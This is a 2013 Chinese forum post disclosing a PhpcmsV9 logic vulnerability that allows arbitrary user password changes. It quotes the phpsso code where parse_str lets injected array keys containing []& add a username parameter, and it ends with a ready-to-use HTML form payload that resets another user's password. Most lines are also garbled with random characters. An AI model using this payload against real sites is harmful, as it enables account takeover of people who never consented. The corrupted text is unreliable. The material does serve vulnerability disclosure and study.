找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2018|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
8 ?0 A, |5 h* K) v
3 j$ ~. `; |+ a0 b6 M' ]! r
1 [( y. A- S$ M3 t/ S* Aparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);" e; y+ z2 i- M2 B
3 i- I4 L; }9 f6 s0 N" d8 ?
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。  w# L* {/ t$ Y. L
" E- [) F( F; ^) v
我把它留给了你们。( b/ o+ E" m: A9 b  x
不知道你们发现了它没有。: T1 ~3 s1 p& ]: D. b! p/ I
8 X: f! w- n+ o+ l/ L0 k! X
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ @# U3 f7 s1 r2 H0 h8 v

. ], F/ A6 u. s8 ~& R1 G所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
+ Z8 C. ]# q6 k; ?3 ^- y$ G$ @
+ k( I' R# ^4 M9 B2 s) }3 ?* a也就是( g) N; }# ^$ _  T9 J

, y0 E* ?3 u- Y" E+ A% Ausername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
" ~# x5 H, c* W( |5 b9 ^8 u- J" l' W5 F: o- J
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
2 n2 u- _; r) _& C/ e& I1 R# j; n& q3 r! \% y9 b: O1 f6 g

+ ~* t- z4 D) h其实我们有这样的机会,看看代码,如下:
& R) J6 g. n3 X8 G
- l1 z4 m1 o/ ?9 \  @$ E
7 z7 g2 g$ ~$ ~, d' d. z( X3 p( m8 }public function auth_data($data) {
9 B5 [& h& Z( `) {                $s = $sep = '';
( x4 ^  M/ [0 @; i, t2 }! W. X' J$ q4 x; Y6 V                foreach($data as $k => $v) {
/ s6 o; u1 Z5 D8 X: t' {" T7 ~                        if(is_array($v)) {2 a: K% i) n( c( A+ X/ V
                                $s2 = $sep2 = '';% o( y  t6 k# H2 l
                                foreach($v as $k2 => $v2) {
" p: l5 U; `6 ~- N7 \                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);: G7 S2 E: r4 A: t+ C
                                        $sep2 = '&';2 z( S) ~9 F& }! t# X
                                }
# @, f  A9 N; C- G% A                                $s .= $sep.$s2;
+ a& `9 [. X; O$ J" j  y/ v# {: Q                        } else {: \/ Q% H# f/ J/ M- l) Z
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);* l( w! _) S  s
                        }& }5 [8 N( E  w( x8 L$ a8 [
                        $sep = '&';
4 H& ~8 ]$ d% v                }  B, i( L0 d& W

) s9 r8 Z8 Z- W9 w; ~) T6 q                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));6 F6 @% S8 B9 ]* [
                return $auth_s;7 l; v+ B8 c+ j( L2 L# V
        }
/ y" H: z6 ?0 \5 t+ G% `1 }! i- ^3 b. i4 I- d+ f% k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 ]% D' T0 F! u
7 L! u3 K; n3 o7 s# K* U
举个例子- M7 x2 ^1 X" b! p. s( K/ n

0 |/ ^' D% {! \+ I+ P: ?, H$a[aaa=a&bbb] = 'a';& @6 `( w7 a; ]# t, e7 b* e8 M

' N1 I( J# D  o5 p会变成aaa=a&bbb=a0 X) b. o! h7 R; I9 L& d' g
0 `, y7 l9 H1 w2 Z2 Q
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。' M8 F; \4 k- f$ e" k  e
5 Z7 @1 l2 K4 M2 n. T
这个时候,我们可以再去看一个函数。
/ R: p9 F1 e  _1 U0 z" k6 l  F/ ?9 N# }; d
就在这个文件内:: [# ?* X1 K& ~3 i/ ?! P$ ?
! o6 y! x. b8 n

5 v: H' H/ y0 L8 c8 Z( [public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {' E% u& C+ P' {5 l: w1 W1 M; `
                if($email && !$this->_is_email($email)) {
+ I! v+ L; B: O0 u; b' Z2 e( v                        return -4;& F. ^& y4 v$ ?' h
                }9 f( B1 U/ F9 S: j
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
' e, T' I( H9 `. W, _1 M9 f        }
5 m6 v  P/ R( A2 p' i# D5 T$ w5 f, N) n; S* n( x8 R  q8 t$ n" }
这是向通行证发了这样一个请求。7 `- K# Y, K8 s6 b: \, r

, L( a, E) |2 h4 v我们再跟到通信证代码里去看看,就会有所发现。
) a, m( B+ [7 q# b2 d% x
6 j/ h5 j( c9 Q# B
3 F, `( V2 {  U( fpublic function edit() {
/ d  d. `) \+ ?6 i. y, [2 O) o" K//能省就省,太长了不是吗?
$ O& T9 M2 Z! B  ?4 w- y$ {
% m! N- u5 T3 t6 ~, g, ^% \if($this->username) {
& }  A$ U0 X' l$ A1 F/ z//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
* @3 L: J$ n' f: L' ]                                $res = $this->db->update($data, array('username'=>$this->username));7 t3 w6 ?5 `- f; T& c9 n# ?) ]
                        } else {( x  @5 `3 h5 Q/ x, {
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
5 x# v0 T6 y$ M, G6 P                                $res = $this->db->update($data, array('uid'=>$this->uid));, f! X5 _) C, T- \7 C, ?  x  Z( X, K
                        }' o/ y  ?( X3 Y: M( A" S

/ w& w5 l1 }. J6 t% z' Q# ?7 f$ c好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:, u' M# T1 y+ g7 ^, _7 b4 T  Z6 U
5 j( ^$ n9 E7 m
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
9 _* s- Y  Q- n3 L! a2 m) F' Y: E4 Y# x# a% V" L; [
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
! f! |% s0 N) `7 C2 t4 d$ U  y" R
! {) C3 E9 t# I4 ?我当然找到了:
8 N" {/ s; i4 r$ c, Nphpcms9/phpcms/modules/member/index.php
- l5 e2 u8 M- Z/ I" K9 y7 k+ R2 ~2 s3 X
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
, n# j. x0 w' m9 a& c
9 {) v2 {* m6 n1 A然后就没有然后了。+ }' n) V  ^6 i6 d7 Y4 x8 f

/ n( z/ n6 I& ~/ E<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">: ]" i3 d( S3 D# }! p# S2 K7 S
                                <table width="100%" cellspacing="0" class="table_form">
# H4 j, t, r7 ^! W                                        <tr>  O+ j+ x, N  c5 V+ @: |( N
                                                <th width="80">邮箱:</th>        
& w0 A9 n' [+ I) I5 u  Q                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
/ C) }0 c8 ^7 t6 ^8 R3 D1 F8 w                                        </tr>
$ J. p( q0 E: P2 o                                        <tr>: r& q+ b& y% D# K& Q; y
                                                <th width="80">原密码:</th>        1 B& F1 }4 `9 V
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>- A% \3 O3 Q: x
                                        </tr>/ s* l* ~' _. s2 A( d3 Z& n
                                        <tr>
! O# P5 m$ o; \  j( Q                                                <th>新密码:</th>
  h& B+ J2 P6 i$ D+ v4 }& [( C                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td># X- O: H' r( d
                                        </tr>
% ]" t0 A) q& b; x0 \                                        <th></th>; M- l+ W+ l% P1 a
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
/ S; z' X/ X* q" A3 C2 q                                        </tr>( l# f2 h( P. a/ \
                                </table>
; ^0 t8 y/ R: m& S" x* C3 G2 t; ]+ }/ D: U
                                4 q% N: L3 t; p" L
                        </form>0 a! Y8 f1 }1 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表